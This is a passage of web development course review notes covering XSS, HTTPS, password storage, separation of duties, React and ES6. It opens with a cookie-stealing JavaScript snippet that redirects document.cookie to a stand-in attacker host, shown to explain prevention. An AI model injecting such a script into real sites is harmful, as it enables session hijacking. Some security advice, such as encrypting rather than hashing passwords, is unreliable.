      var newUrl = "http://attackerSite.com/getCookie.JSP?cookieVals=" + document.cookie;
      document.location=newUrl;
    </script>
    ```
  - The above code would “steal” the cookies of the user that is viewing the data that included the JavaScript that was injected by the hacker. If the stolen cookies contain something like a session Id to some ecommerce web site, the hacker could pose as the victim (buy stuff using the victim’s account on that ecommerce web site). This is one reason why you should never store anything important in a cookie.
  - How to prevent: clean all user input before storing it in the database. You can google and find sophisticated code that cleans user input, but even if all you do is transform every “<” character to &lt;; which is HTML code for less than sign, the user’s data would LOOK like what they typed in but never executed as JavaScript.
  - storing anything (especially a session id) in a cookie (or local storage) is insecure. A cookie is client side and can therefore be easily compromised (hacked, spoofed).
  - any user input could have code in it. Always clean user input to ensure it can never contain code that would be executed.
  - even though a link to a jsp page is not shown, a hacker can guess the link and type it in (or see someone else’s browser URL). So, don’t think that hiding a link will stop a hacker from getting to a page. The real security is server side. Check the server session variable to know if a user is logged in, don’t check what’s in a cookie.
Encryption

- Understand what is https (it’s basically encrypted http so that no one with a network sniffer can read sensitive data like username/password). To use https, the company needs to obtain a certificate (verifies who they are), then the server administrator needs to specify certain tomcat or glassfish setup parameters. To be secure, all the pages in the whole web app should use https, not just the important pages like logon.
- User passwords should never be stored in plain text in a database (encrypt before storing, encrypt again from the logon page, then look for a match).
- Recognize that a database password (e.g., as used in DbConn) should never be stored in the source code and should never be stored in plain text in a file. Store the database username/password in an encrypted file in a limited access folder then have DbConn read from there.

Security Policies: much of security is implemented by segmenting a potentially dangerous act into several different parts, each delegated to a different person, so that there would have to be collusion in order for a violation to occur. For example, programmers have total access to source code and to the test/development database but they have NO access to the production database. Production support has access to the production database, but NO access to the source code.

JavaScript Single Page Application Frameworks/Libraries:

- Angular and Vue: both frameworks, larger, being frameworks, they impose their structure. These two compete against React, but React is much more popular by far.
- React – Library for creating reusable Web Components that can be used in SPAs.
  - Uses JSX – JavaScript XML. Let’s you write HTML-like tags in JS without needing quotes or back ticks.
  - CDN (content delivery network, we referenced the React Library from the internet. We did not download the React library and reference a local copy. We also referenced a babel CDN, a transpiler that converted JSX to regular JavaScript – this is not recommended for production code however. For production code, you should download a whole environment that “compiles” into JS (from JSX) each time before you run it, so it’s pre-compiled before you publish it.
  - React is lightweight, does not try to impose framework on programmers. It does not even provide an ajax method. If you want React routing, you have to get addon code.
- Check out my React Tutorial and associated Sample code (from the class web page “Tutorials – Front End – React”) for examples of ES6 and functional programming and React components using JSX.
- New ES6 features (that we had to learn to understand React sample code):
  - let and const (can be used instead of var to declare variables)
  - class (like java class definition, can extend classes) – we did not use this but know that it exists.
  - destructuring objects and arrays
  - Fat arrow function
  - back tick (to specify multi-lined character string constants like long HTML code).
  - Binding can include variables inside of character string constants like this:
    - let content = "hello there ${yourName}";
- JS functional programming: for each, map, filter, map, sort, reduce.
- Review React sample Projects: Navigation, Display Data, & Insert (or just the last one –includes the others)